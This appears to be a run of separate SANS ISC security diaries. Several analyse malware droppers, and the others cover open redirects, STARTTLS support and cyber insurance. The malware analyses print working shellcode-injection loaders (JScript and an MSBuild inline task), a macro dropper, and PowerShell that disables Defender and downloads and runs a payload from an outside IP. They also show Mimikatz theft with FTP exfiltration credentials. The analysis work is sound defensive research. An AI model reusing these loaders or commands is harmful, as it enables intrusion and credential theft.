Yesterday, I wrote a diary about misused Microsoft tools[1]. I just found another interesting piece of code. This time the malware is using Node.js[2]. The malware is a JScript (SHA256:1007e49218a4c2b6f502e5255535a9efedda9c03a1016bc3ea93e3a7a9cf739c)[3]

First, the malware tries to install a local Node.js instance:

nodeurl = 'https://nodejs.org/dist/latest-v10.x/win-x86/node.exe';
foldername = 'SystemConfigInfo000';
...
try {
if(FileExists(wsh.CurrentDirectory+'\\'+foldername+'\\'+nodename)!=true)
{
    
    nodedwnloaded = false;
    for(var i=1;i<=5;i++){
        try{
            m.open("GET", nodeurl, false);
            m.send(null);
            if(m.status==200)
            {
                nodedwnloaded = true;
                break;
            }
        }
        catch(e)
        {
            report('nodedownerr');
            WScript.Sleep(5*60*1000);
            WScript.Quit(2);
        }
    }
    if(nodedwnloaded)
    {
        try{
            xa=new ActiveXObject('A'+'D'+'O'+'D'+'B'+point+'S'+'t'+'r'+'e'+'a'+'m');
            xa.open();
            xa.type=1;
            xa.write(m.responseBody);
            xa.position=0;
            xa.saveToFile(wsh.CurrentDirectory+'\\'+foldername+'\\'+nodename, 2);
            xa.close();
        }
        catch(err5){
            report('nodesave');
            WScript.Sleep(5*60*1000);
            WScript.Quit(5);
            
        }
    }
    else{
    report('nodedownload1');
    WScript.Sleep(5*60*1000);
    WScript.Quit(11);
    }
}
}

The Javascript application is part of the original script and is Based64 encode in a comment:

try {
    if(FileExists(wsh.CurrentDirectory+'\\'+foldername+'\\app.js')!=true)
    {
        var arch = DecodeBase64(res2());
        if(true)
        {
            try{
                xa=new ActiveXObject('A'+'D'+'O'+'D'+'B'+point+'S'+'t'+'r'+'e'+'a'+'m');
                xa.open();
                xa.type=1;
                xa.write(arch);
                xa.position=0;
                xa.saveToFile(wsh.CurrentDirectory+'\\'+foldername+'\\'+archname, 2);
                xa.close();
            }
    ...

The function res2() extract the chunk of data:

function res2()
{
Function.prototype.GetResource = function (ResourceName)
{
    if (!this.Resources) 
    {
        var UnNamedResourceIndex = 0, _this = this;
        this.Resources = {};
        
        function f(match, resType, Content)
        {
            _this.Resources[(resType=="[[")?UnNamedResourceIndex++:resType.slice(1,-1)] = Content; 
        }
        this.toString().replace(/\/\*(\[(?:[^\[]+)?\[)((?:[\r\n]|.)*?)\]\]\*\//gi, f);
    }
    
    return this.Resources[ResourceName];
}
/*[arch2[UEsDBBQAAAAAAMSpgk4AAAAAAAAAAAAAAAAeAAAAbm9kZV9tb2R1bGVzL3NvY2tldC5pby1jbGllbnQvUEsDBBQAAAAAAMSpgk4A
AAAAAAAAAAAAAAAiAAAAbm9kZV9tb2R1bGVzL3NvY2tldC5pby1jbGllbnQvbGliL1BLAwQUAAAACACaU9BKccRGp8QCAADPBgAAKgAAAG5vZ
GVfbW9kdWxlcy9zb2NrZXQuaW8tY2xpZW50L2xpYi9pbmRleC5qc4VVTU8bMRC9768YDmUTRHfvRJEqVT1UKqgShx4QUhzvJHHZtRd/QCnkv3
fG3nU2gkIuiWfefL15dor67KyAM7g0TWgRGuxRN6ilQleRvS6KB2Eh2BaWYPE+KIuzsqrJUM4X0dcL69BO3c7IO/
...

Let's decode and have a look at this JavaScript code:

$ file res2.decoded
res2.decoded: Zip archive data, at least v2.0 to extract
$ unzip res2.decoded
Archive:  res2.decoded
   creating: node_modules/socket.io-client/
   creating: node_modules/socket.io-client/lib/
  inflating: node_modules/socket.io-client/lib/index.js
  inflating: node_modules/socket.io-client/lib/manager.js
  inflating: node_modules/socket.io-client/lib/on.js
  ...
  creating: node_modules/socket.io-client/node_modules/yeast/
  inflating: node_modules/socket.io-client/node_modules/yeast/index.js
  inflating: node_modules/socket.io-client/node_modules/yeast/LICENSE
  inflating: node_modules/socket.io-client/node_modules/yeast/package.json
  inflating: node_modules/socket.io-client/node_modules/yeast/README.md
  inflating: node_modules/socket.io-client/package.json
  inflating: node_modules/socket.io-client/README.md
  inflating: app.js
  inflating: constants.js
  inflating: socks4a.js

Basically, this app is launched with an argument  (an IP address):

try{
    WScript.Sleep(5000);
    var res=wsh['R'+'un']('.\\'+nodename+' .\\ap'+'p.js '+addr, 0, true);
    report('res='+res);
}
catch(errobj1)
{
    report('runerr');
    WScript.Sleep(5*60*1000);
    WScript.Quit(16);
}

'addr' is a Base64-encoded variable. In the sample that I found, it's an RFC1918 IP.

It first performs an HTTP GET request to http://<ip>/getip/. The result is used to call a backconnect() function:

http.get(url,(res)=>{
        let rawData = '';
        res.on('data', (chunk) => { rawData += chunk; });
        res.on('end', () => {
                backconnect('http://'+rawData.toString()+'/');
        });
});

The application seems to implement a C2-like communication but I still need to check the code deeper. Why is the IP address a private one? I don't know. Maybe the sample was uploaded to VT during the development? It was developed for a red-teaming exercise?

Besides the Node.js local instance, the script also drops WinDivert.dll and WinDivert32.dll DLL files and inject a shellcode via PowerShell:

[1] https://isc.sans.edu/forums/diary/Malware+Samples+Compiling+Their+Next+Stage+on+Premise/25278/
[2] https://nodejs.org/en/about/
[3] https://www.virustotal.com/gui/file/1007e49218a4c2b6f502e5255535a9efedda9c03a1016bc3ea93e3a7a9cf739c/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I would like to cover today two different malware samples I spotted two days ago. They have one interesting behaviour in common: they compile their next stage on the fly directly on the victim's computer. At a first point, it seems weird but, after all, it’s an interesting approach to bypass low-level detection mechanisms that look for PE files.

By reading this, many people will argue: “That's fine, but I don’t have development tools to compile some source code on my Windows system”. Indeed but Microsoft is providing tons of useful tools that can be used outside their original context. Think about tools like certutil.exe[1] or bitsadmin.exe[2]. I already wrote diaries about them. The new tools that I found “misused” in malware samples are: "jsc.exe" and "msbuild.exe". They are chances that you’ve them installed on your computer because they are part of the Microsoft .Net runtime environment[3]. This package is installed on 99.99% of the Windows systems, otherwise, many applications will simply not run. By curiosity, I checked on different corporate environments running hardened endpoints and both tools were always available.

jsc.exe is a JScript Compiler:

msbuild.exe is a tool to automatically build applications. Since the version 2013, it is bundled with Visual Studio but a version remains available in the .Net framework:

Both are located in C:\Windows\Microsoft.NET\Framework\vx.x.xxxxx\ (check the version installed on your computer).

Let's have a look how they are (ab)used. The first sample is a JScript script (SHA256:e5d58197b5d4465fe778bae8a63c5ab721a8c15b0f3c5e2aa6d20cbad3473b3e) with a VT score of 13/58[4]. It is not obfuscated at all (if it was the detection score could be much lower) and does the following actions:

It moves and resizes the current window to make it invisible then it decodes a chunk of Base64 encoded data. It searches for an existing .Net runtime environment and builds the absolute path to jsc.exe:

function findJSC() {
  var fso = new ActiveXObject("Scripting.FileSystemObject");
  var comPath = "C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\";
  var jscPath = "";
  if(!fso.FolderExists(comPath)) {
    return false;
  }

  var frameFolder = fso.GetFolder(comPath);
  var fEnum = new Enumerator(frameFolder.SubFolders);

  while(!fEnum.atEnd()) {
    jscPath = fEnum.item().Path;
    if(fso.FileExists(jscPath + "\\\\jsc.exe")) {
       return jscPath + "\\\\jsc.exe";
    }
    fEnum.moveNext();
  }
  return false;
}

If one is found, it compile the Base64 decoded data (SHA256:29847be3fef93368ce2a99aa8e21c1e96c760de0af7a6356f1318437aa29ed64) into a PE file and executes it:

var fso = new ActiveXObject("Scripting.FileSystemObject");
var objShell = new ActiveXObject("WScript.shell");
var js_f = path + "\\\\LZJaMA.js";
var ex = path + "\\\\LZJaMA.exe";
var platform = "/platform:x64";
objShell.run(comPath + " /out:" + ex + " " + platform + " /t:winexe "+ js_f, 0);
while(!fso.FileExists(ex)) { }
objShell.run(ex, 0);

The executed command is (in my sandbox):

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe /out:\\LZJaMA.exe /platform:x64 /t:winexe %TEMP%\LZJaMA.js

The extracted file (LZJaMa.js) is another JScript that contains another Base64-encoded chunk of data. It is decoded and injected in the current process via VirtualAlloc() & CreateThreat() then executed:

function ShellCodeExec()
{
  var MEM_COMMIT:uint = 0x1000;
  var PAGE_EXECUTE_READWRITE:uint = 0x40;
  var shellcodestr:String = 'TVpBUlVIieVIg+wgSI ... '
  var shellcode:Byte[] = System.Convert.FromBase64String(shellcodestr);
  var funcAddr:IntPtr = VirtualAlloc(0, UInt32(shellcode.Length),MEM_COMMIT, PAGE_EXECUTE_READWRITE);

  Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);
  var hThread:IntPtr = IntPtr.Zero;
  var threadId:UInt32 = 0;

  // prepare data
  var pinfo:IntPtr = IntPtr.Zero;

  // execute native code
  hThread = CreateThread(0, 0, funcAddr, pinfo, 0, threadId);

  WaitForSingleObject(hThread, 0xFFFFFFFF);
}

try{
ShellCodeExec();
}catch(e){}

The injected malicious payload is a Meterpreter (SHA256:6f5bdd852ded30e9ac5a4d3d2c82a341d4ebd0fac5b50bb63feb1a7b31d7be27)[5].

The second sample uses msbuild.exe. It's an Excel sheet (SHA256:452722bf48499e772731e20d255ba2e634bba88347abcfb70a3b4ca4acaaa53d)[6] with a VBA macro. Classic behaviour: the victim is asked to authorize the macro execution. In this case, the payload is again Base64-encoded but it is stored directly in some cells that are read and their content concatenated:

cwd = Application.ActiveWorkbook.Path
fullPath = "c:\windows\tasks\KB20183849.log"
text = Worksheets("Sheet1").Cells(500, "A").Value
text1 = Worksheets("Sheet1").Cells(501, "A").Value
text2 = Worksheets("Sheet1").Cells(502, "A").Value
text3 = Worksheets("Sheet1").Cells(503, "A").Value
text4 = Worksheets("Sheet1").Cells(504, "A").Value
text5 = Worksheets("Sheet1").Cells(505, "A").Value
text6 = Worksheets("Sheet1").Cells(506, "A").Value
text7 = Worksheets("Sheet1").Cells(507, "A").Value
text8 = Worksheets("Sheet1").Cells(508, "A").Value
text9 = Worksheets("Sheet1").Cells(509, "A").Value
text10 = Worksheets("Sheet1").Cells(510, "A").Value
text11 = Worksheets("Sheet1").Cells(511, "A").Value
text12 = Worksheets("Sheet1").Cells(512, "A").Value
text13 = Worksheets("Sheet1").Cells(513, "A").Value
text14 = Worksheets("Sheet1").Cells(514, "A").Value

Full = text + text1 + text2 + text3 + text4 + text5 + text6 + text7 + text8 + text9 + text10 + text11 + text12 + text13 + text14 
decode = decodeBase64(Full) 
writeBytes fullPath, decode

The decoded Base64 data is a Microsoft project file (think about something like a Makefile on UNIX) that contains all the details to compile the malicious code:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Debug">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[
          using System;
          using System.Reflection;
          using System.Diagnostics;
          using System.Runtime.InteropServices;
          using Microsoft.Build.Framework;
          using Microsoft.Build.Utilities;
          using System.Text;
          public class ClassExample :  Task, ITask {
            [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
            public delegate Int32 runD();
            [DllImport("kernel32.dll")]
            private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
            uint flNewProtect, out uint lpflOldProtect);
            [DllImport("kernel32.dll")]
            static extern IntPtr GetConsoleWindow();
            [DllImport("user32.dll")]
            static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
            const int SW_HIDE = 0;
            const int SW_SHOW = 5;
            public override bool Execute() {
              Start();
              return true;
            }
            private void Start() {
              string str = ("kJBNWkFSVUi ... ");
              byte[] buff = Convert.FromBase64String(str);
              var handle = GetConsoleWindow();
              ShowWindow(handle, SW_HIDE);
              GCHandle pinnedArray = GCHandle.Alloc(buff, GCHandleType.Pinned);
              IntPtr pointer = pinnedArray.AddrOfPinnedObject();
              Marshal.Copy(buff, 0, (IntPtr)(pointer), buff.Length);
              uint flOldProtect;
              VirtualProtect(pointer, (UIntPtr)buff.Length, 0x40,
              out flOldProtect);
              runD del = (runD)Marshal.GetDelegateForFunctionPointer(pointer, typeof(runD));
              del();
            }
          }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

The decoded data (SHA256:e9303daa995c31f80116551b6e0a2f902dc2b180f5ec17c7d3ce27d9a9a9264a) is detected by only one AV as... another Meterpreter.

The project is compiled and executed via msbuild.exe directly from the macro:

'Dim fso As Object
'Set fso = CreateObject("Scripting.FileSystemObject")
'Dim oFile As Object
'Set oFile = fso.CreateTextFile(fullPath)
'oFile.Write decode
'oFile.Close
Set fso = Nothing
Set oFile = Nothing
Set oShell = CreateObject("WScript.Shell")
oShell.Run "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe C:\windows\tasks\KB20183849.log"
Application.Wait (Now + TimeValue("0:00:20"))
Kill "C:\Windows\tasks\KB20183849.log"

Note that in this case, the macro does not try to find a valid .Net runtime, the version is hardcoded. Targeted attack?

Tools like 'jsc.exe' and 'msbuild.exe' are good IoC's because they aren't used by regular users. Execution of such processes is easy to spot with tools like Sysmon or, better, prevent their execution with AppLocker. Especially if they are executed from Excel, Word, Powershell, etc.

[1] https://isc.sans.edu/forums/diary/A+Suspicious+Use+of+certutilexe/2351
[2] https://isc.sans.edu/forums/diary/Investigating+Microsoft+BITS+Activity/23281
[3] https://dotnet.microsoft.com/download
[4] https://www.virustotal.com/gui/file/e5d58197b5d4465fe778bae8a63c5ab721a8c15b0f3c5e2aa6d20cbad3473b3e/detection
[5] https://www.virustotal.com/gui/file/6f5bdd852ded30e9ac5a4d3d2c82a341d4ebd0fac5b50bb63feb1a7b31d7be27/detection
[6] https://www.virustotal.com/gui/file/452722bf48499e772731e20d255ba2e634bba88347abcfb70a3b4ca4acaaa53d/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

[This is a guest diary submitted by Jan Kopriva. Jan is working for Alef Nula (http://www.alef.com) and you can follow him on Twitter at @jk0pr]

Open (or unvalidated) redirects[1] are a family of web application vulnerabilities caused by missing or insufficient validation of input used to specify URL to which a browser is to be redirected. Although, from a technical standpoint, their principles are quite simple and they are usually nowhere near as dangerous as XSS or SQLi vulnerabilities, under specific circumstances they can pose severe risks. This is well illustrated by the fact that “Unvalidated Redirects and Forwards” were part of the OWASP Top 10 List in its 2013 iteration.

Pages, which redirect visiting browsers to different URLs based on an input passed to them, have a legitimate use in web applications. Historically, they have often been used for marketing purposes (monitoring clickthroughs in e-mail campaigns and on websites) or for returning a browser to the same page, it was on before user logged into an application. LinkedIn, for example, makes use of this technique if you try to log in while viewing someone’s profile. In such a case, the page, to which your browser will be redirected after you log in, is specified by the value of session_redirect parameter.

As you may see, redirection mechanisms can be quite useful. A problem arises, however, when these mechanisms lack any limits on the URLs to which they may redirect a browser (i.e. the redirect is “open”). For marketing loggers, redirection to any domain passed to them might be an intentional feature. On the other hand, if an open redirect is present on the website of a bank or a similar trusted business it can be quite dangerous.

Imagine if a website of a bank used the URL https://www.bank.tld/redirect?to=https://ebanking.bank.tld to redirect users to its e-banking portal. If the redirect was “open”, a threat actor could craft a link which would point to the legitimate site of the bank, but – when accessed – would redirect the browser to a fraudulent website. (e.g. https://www.bank.tld/redirect?to=https://ebanking.fakebank.tld). A phishing campaign utilizing such a link could be quite successful. That is the main reason why a redirect mechanism should – at least in most cases – include a whitelist of permissible target domains (or another relevant filtering mechanism) and redirect only to those sites, which are considered safe.

Unfortunately, as we found out during recent research into open redirect vulnerabilities, even though they are usually easy to find and fix (and it isn’t difficult to avoid introducing them into an application in the first place), they are quite prevalent on the web. We managed to find them on more than a hundred sites in the CZ top-level domain alone – including on websites of a couple of banks and other “trusted” organizations – just by using a few well-chosen Google dorks. Breakdown of affected sites may be seen in the following chart.

It should be mentioned that although we didn’t spend much time looking outside the .cz TLD, the situation seems to be the same in other TLDs as well – open redirects are pretty common, even on high-profile sites.

A more in-depth discussion of the results of our research was part of my talk at SANS Pen Test Hackfest Summit in Berlin in July. If you didn’t have a chance to join us there but would like to learn more, you may take a look at the slides in the SANS Summit Archives at https://www.sans.org/cyber-security-summit/archives/pen-testing. The slides cover a “half-open” redirect vulnerability in Youtube (see https://untrustednetwork.net/en/2019/07/22/half-open-redirect-vulnerability-in-youtube/) and a couple of other topics as well.
If you’re not interested in the results but would like to check whether your own web applications have any obvious open redirect vulnerabilities, I can at least share with you couple of the simple Google dorks, which might be able to help you. As the targets for a redirect are usually determined by an HTTP GET parameter and as the purpose of most such parameters is identical, their names tend to be similar as well. Good Google dorks to assist you in finding open redirects in your domains might therefore be:

site:domain.tld inurl:redir
site:domain.tld inurl:redirect
site:domain.tld inurl:redirect_to
site:domain.tld inurl:newurl
site:domain.tld inurl:targeturl
site:domain.tld inurl:link
site:domain.tld inurl:url

[1] https://cwe.mitre.org/data/definitions/601.html 
 

This started as a quick twitter conversation with Michael Vance (@Mav_Sec):

But a bit background first:

Over the last few years, weaknesses in TLS/SSL have been a major security "headache". But the focus has been HTTPS, and not so much other services, which of course take advantage of TLS as well, and are subject to the same problems. Email is in particular tricky. With HTTPS, the end-user will typically know if they are connecting to an HTTPS site or not, and browsers can warn users about blatant misconfiguration. For email, the user will typically connect to a specific mail server (or use a webmail client). This connection typically happens via HTTPS, SMTPS or IMAPS. But the more difficult problem is how that email is than passed on to other mail servers. By default, this happens in the clear over SMTP on port 25.

To protect these connections between mail servers, SMTP was extended with the "STARTTLS" option [2]. The STARTTLS option allows mail servers to advertise that they are supporting TLS, and the connection will then be upgraded to TLS "on the fly". 

Here is a typical exchange between two mail servers supporting STARTTLS:

220 mail.dshield.org ESMTP
EHLO test
250-mail.dshield.org
250-PIPELINING
250-SIZE 30000000
250-ETRN
250-STARTTLS
250-AUTH LOGIN CRAM-MD5
250-AUTH=LOGIN CRAM-MD5
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
STARTTLS
220 2.0.0 Ready to start TLS

Note how the server advertises that it supports STARTTLS ("250-STARTTLS"). The client will respond with "STARTTLS" and then switch to TLS as soon as it receives the "220 2.0.0 Ready to start TLS" response. One of the major weaknesses of STARTTLS is that this exchange is not protected, so downgrade attacks are possible. But Michael's question was more about the TLS parameters that are negotiated after this handshake is completed.

Today's email landscape is very centralized. Most email uses a small handful of large cloud-based mail providers (GMail, Office365, Hotmail, Yahoo...). To figure out the TLS configuration of popular email providers, I used a list of "100 Most Popular Email Domains" [1], looked up the MX records for these domains and then connected to them via a Python script testing for STARTTLS support. In addition, I also looked at some connections to my personal mail server. I captured the traffic and used tshark to extract some of the TLS parameters.

First of all: 90% of mail servers did support STARTTLS. Only 9 major providers do not support STARTTLS:

• sohu.com (Large Chinese Webmail Provider)
• sinanode.com (also based in China)
• yahoo.co.jp (Yahoo's Japanese subsidiary)
• Frontiernet.net (regional US ISP)
• bol.com.br (Brasilian free email provider)
• tiscali.it (Italian ISP)
• tin.it (Italian ISP)
• untd.com (United Online, Juno/Netzero, low-cost US ISPs)
• alice.it (part of tin.it. See above)

However, among the ISPs/email providers that support STARTTLS, there was only one that didn't support TLS 1.2: Orange.fr (large French ISP) did only support TLS 1.0.

So what does this mean: Enforcing STARTTLS does not seem practical unless you use protocols like MTA-STS [3]. For mail servers, it is probably too early to recommend dropping support for TLS 1.0. TLS 1.0 is still a lot better than sending email in the clear. Dropping support for TLS 1.0 can lead to some difficult to track down email issues, even if it may affect only a handful of ISPs. I would recommend that you log the ciphers used in your environment. It is pretty easy to log TLS versions using a network tool like Zeep [4]. Or you may be able to log the ciphers used using your mail server logs.

This was a very quick experiment, and probably not the last word in this matter. I am interested to hear from anybody who tightened their TLS configuration. 

[1] https://email-verify.my-addr.com/list-of-most-popular-email-domains.php
[2] https://tools.ietf.org/html/rfc3207
[3] https://tools.ietf.org/html/rfc8471
[4]https://www.zeek.org/current/exercises/ssl/index.html

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

I recently was reading an article about Cyber Insurance and got intrigue on the type of coverage offered. Recovering from a Cyber attack can be very expensive and cyber security insurance offers the ability to transfer some of the risks to an insurance company. Some estimates that 1 in 3 company currently have cyber insurance. Then I found this presentation [2] that identified 10 misconceptions about Cyber insurance and provided an answer about each of them. I found very interesting the #1 Objection "We outsource our IT Services" and one of the 3 answers is even if the data is outsourced, "Legal responsibility CANNOT be transferred by contract", it is the data the company has been entrusted to protect.

I started looking around and found several companies offering various type of coverage that range from:

• Covering direct costs responding to an incident
• Lawsuits or claims resulting from a cyber incident
• Reputation management
• Regulatory fines payments.

The policy cost will vary according to several factors such as the industry, the company size, past claims (if any), security in place, etc.

For example, Equifax 2017 data breach cost them an estimated 1.4 billion [3] and they had only $125 million covered by insurance. In the past, this type of breach would have probably bankrupt the business.

I tried one of the Cyber insurance website to get a basic quote for a small IT company with 1 million in liability and the annual cost is $885 per year. Here is the result:

[1] https://www.zensurance.com/cyber-liability-insurance
[2] https://www.schinnerer.com/Content/Industries/Cyber/Documents/Cyber_Webinar_-_Overcoming_Cyber_Insurance_Objections.aspx
[3] https://www.databreaches.net/equifax-reaches-1-4-billion-data-breach-settlement-in-consumer-class-action-also-agrees-to-pay-575-million-as-part-of-settlement-with-ftc-cfpb-and-states-related-to-2017-data-breach/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Let’s review a malware sample that I spotted a few days ago. I found it interesting because it's not using deep techniques to infect its victims. The initial sample is a malicious VBScript. For a few weeks, I started to hunt for more Powershell based on encoded directives. The following regular expression matched on the file:

// New-Object
$enc09 = /(TmV\x33LU\x39iamVjd[A-P]|[\x2b\x2f-\x39A-Za-z][\x2b\x2f-\x39A-Za-z][\x31\x35\x39BFJNRVZdhlptx]OZXctT\x32JqZWN\x30[\x2b\x2f-\x39A-Za-z]|[\x2b\x2f-\x39A-Za-z][\x30EUk]\x35ldy\x31PYmplY\x33[Q-T])/

The initial script (SHA256:bf06b682c637d470b15e3c7b76e6d25356719286cfcc75a12bf3c31be859d2b5) is, still today, detected by only one AV engine[1]. Here is a beautified version of the script:

sDir = "C:\ProgramData\ID.dat"
Set oFSO = CreateObject("Scripting.FileSystemObject")
If oFSO.FileExists(sDir) Then
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    objFSO.DeleteFile WScript.ScriptFullName
    WScript.Quit()
Else
    wscript.sleep(333000)
    Dim ShaDev
    set hfhejotgbhzlzyohafchtul = createobject("wscript.shell")
    ShaDev = hfhejotgbhzlzyohafchtul.ExpandEnvironmentStrings("%ProgramData%")
    Set shadow=CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
    shadow.dataType="bin.base64"       
    shadow.text="... [Base64 chunk of dat] ..."
    Set sexy=CreateObject("ADODB.Stream")
    sexy.Type=1
    sexy.Open
    sexy.Write shadow.nodeTypedValue
    sexy.SaveToFile ShaDev & "\WindowsProtect.vbs",2
    wscript.sleep(4000)

    Sub KillAll(ProcessName)
        Dim objWMIService, colProcess
        Dim strComputer, strList, p
        strComputer = "."
        Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
        Set colProcess = objWMIService.ExecQuery ("Select * from Win32_Process Where Name like '" & ProcessName & "'")
        For Each p in colProcess
            p.Terminate             
        Next
    End Sub

    KillAll "cmd.exe"

    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Do
        Running = False
        Set colItems = objWMIService.ExecQuery("Select * from Win32_Process")
        For Each objItem in colItems
            If objItem.Name = "cmd.exe" Then
                Running = True
                Exit For
            End If
        Next
        If Not Running Then
            Set objShell = CreateObject("Shell.Application")
            objShell.ShellExecute "cmd", "/k ""C:\ProgramData\WindowsProtect.vbs", "", "runas", 0
        End If
    Loop While Not Running
    WScript.Sleep 4000

    KillAll "cmd.exe"

    Dim fso, MyFile
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set MyFile = fso.CreateTextFile("C:\ProgramData\ID.dat", True)
    MyFile.WriteLine(" ")
    MyFile.Close

    Set objFSO = CreateObject("Scripting.FileSystemObject")
    objFSO.DeleteFile WScript.ScriptFullName
    WScript.Quit()
End If

Not obfuscated, it is easy to understand its behaviour: First, it checks the presence of itself (if the victim has already been infected) by checking the existence of an ‘ID.dat’ file. If it exists, it removes the file and exits. Otherwise, another second-stage VBScript is decoded, dumped on disks and executed (‘WindowsProtect.vbs’). Let’s have a look at the second stage.

The decoded Base64 data (SHA256:6a25a0dbc0627e36e307e87e677e307d08982720c3dbeffe9986c3c770c37fa8)  is unknown on VT. Here is the script:

Dim x
Dim y
Dim z
x = " Set-MpPreference -DisableIOAVProtection $true"
y = " Add-MpPreference -ExclusionPath 'C:\'"
z = " -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('hxxp://92[.]53[.]91[.]141/MP3/T0R.mp3','C:\ProgramData\Isass.exe');Start-Process 'C:\ProgramData\Isass.exe'"
Dim objShell
Set objShell = WScript.CreateObject("WScript.Shell")
command = ("powershell" & x )
commany = ("powershell" & y )
commanz = ("powershell" & z )
objShell.Run command,0
wscript.sleep(4000)
objShell.Run commany,0
wscript.sleep(11000)
objShell.Run commanz,0
Set objShell = Nothing
wscript.sleep(4000)
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile WScript.ScriptFullName
WScript.Quit

The next stage is, of course, the malicious PE file (SHA256:b5cc67c06f1352039209557aa8e62e1eabefaa4646fe449326bf50f62382eacd) and is also unknown on VT. It’s a classic PE file:

root@remnux:~# exiftool Isass.exe
ExifTool Version Number         : 9.46
File Name                       : Isass.exe
Directory                       : /tmp
File Size                       : 4.6 MB
File Modification Date/Time     : 2019:08:22 14:44:24-04:00
File Access Date/Time           : 2019:08:22 14:44:23-04:00
File Inode Change Date/Time     : 2019:08:22 14:44:24-04:00
File Permissions                : rw-r--r--
File Type                       : Win32 EXE
MIME Type                       : application/octet-strea
Machine Type                    : Intel 386 or later, and compatibles
Time Stamp                      : 2017:08:11 09:54:06-04:00
PE Type                         : PE32
Linker Version                  : 14.0
Code Size                       : 188928
Initialized Data Size           : 69632
Uninitialized Data Size         : 0
Entry Point                     : 0x1cec9
OS Version                      : 5.1
Image Version                   : 0.0
Subsystem Version               : 5.1
Subsystem                       : Windows GUI

The PDB path ('D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb') discloses that the PE file is a self-extracting archive. Program Data Base files are used to keep debugging info about a program when it is compiled. The PDB stores many interesting data like symbols, addresses, names of resources etc. 

SFX files can execute a script once the content is unpacked. Easy to detect in the PE strings:

root@remnux:~# strings Isass.exe | grep Setup=
Setup=%SystemDrive%\Intel\Logs\h32.exe %SystemDrive%\Intel\Logs\beforeinstall.bat

Here is an extract of the script:

@echo off
set CURRENTPATH=%SystemDrive%\Intel\Logs
set INSTALLPATH=%SystemDrive%\ProgramData\Microsoft\Windows\Updates

mkdir %INSTALLPATH%
del /F /Q %INSTALLPATH%\install.bat
move /Y %CURRENTPATH%\Tor  %INSTALLPATH%
move /Y %CURRENTPATH%\Data %INSTALLPATH%
move /Y %CURRENTPATH%\Service %INSTALLPATH%
move /Y %CURRENTPATH%\h64.exe %INSTALLPATH%\h64.exe
move /Y %CURRENTPATH%\h32.exe %INSTALLPATH%\h32.exe
move /Y %CURRENTPATH%\zip.exe %INSTALLPATH%\zip.exe
move /Y %CURRENTPATH%\ncftpput.exe %INSTALLPATH%\ncftpput.exe
move /Y %CURRENTPATH%\ftps.cfg %INSTALLPATH%\ftps.cfg
move /Y %CURRENTPATH%\install.bat %INSTALLPATH%\install.bat
move /Y %CURRENTPATH%\mimitask.bat %INSTALLPATH%\mimitask.bat

reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" | find /i "x86" > NUL && set OS=32BIT || set OS=64BIT

if %OS%==32BIT set hidexe=h32.exe
if %OS%==64BIT set hidexe=h64.exe

cd %INSTALLPATH%
%hidexe% install.bat >> %INSTALLPATH%\Service\install.log 2>>&1

cd %CURRENTPATH%
rmdir /S /Q %CURRENTPATH%\Tor
rmdir /S /Q %CURRENTPATH%\Data
rmdir /S /Q %CURRENTPATH%\Tor
DEL /Q /F %CURRENTPATH%\Data
DEL /Q /F %CURRENTPATH%\Service
DEL /Q /F %CURRENTPATH%\h64.exe
DEL /Q /F %CURRENTPATH%\h32.exe
DEL /Q /F %CURRENTPATH%\zip.exe
DEL /Q /F %CURRENTPATH%\ncftpput.exe
DEL /Q /F %CURRENTPATH%\ftps.cfg
DEL /Q /F %CURRENTPATH%\install.bat
DEL /Q /F %CURRENTPATH%\mimitask.bat
rmdir /S /Q %CURRENTPATH%
DEL /Q /F  "%~f0" > NUL

You can see that many files are dropped on the infected computer. The more interesting ones are:

• ncftpput.exe
• ftps.cfg
• mimikatz.bat
• install.bat
• ToR package

The ‘install.bat’ script is also very interesting (SHA256:550e8e6fcfc4db2139dfa2e6e4f26e881b405e21b752a750d4cc682da0361567) and also unknow on VT. Too big to be posted here, here is an overview of its features:

• Check the geographical location of the victim via different GeoIP services
• Create a new administrator user ('Admlnlstrator') with the following password: ‘Zhopka222222'
• Disable Windows Defender
• Install RDP Wrapper library[2]
• Dump credentials via Mimikatz
• Install a scheduled task to re-execute Mimikatz and exfiltrate data at each boot time.

The RDP wrapper is fetched from another site: hxxp://yourdatafor[.]me:94/azaza/:

Collected data are exfiltrated via FTP (FTP is still alive!) via the ncftpput.exe tool. The configuration is present in the archive in the ftps.cfg file:

root@remnux:~# cat ftps.cfg
host etomakra.me
user ftpuser
pass Super123123

Yes, even attackers use weak passwords! The server is not protected and allows to download all files collected from victims. The domain 'etomakra.me' has been registered on July 16th 2019.

I synchronized them during a few days (now the FTP server is down). For each victim, two files were uploaded:

The first one contains the malware installation logs:

root@remnux:~# unzip -t PLAYBOX1_RDP.zip
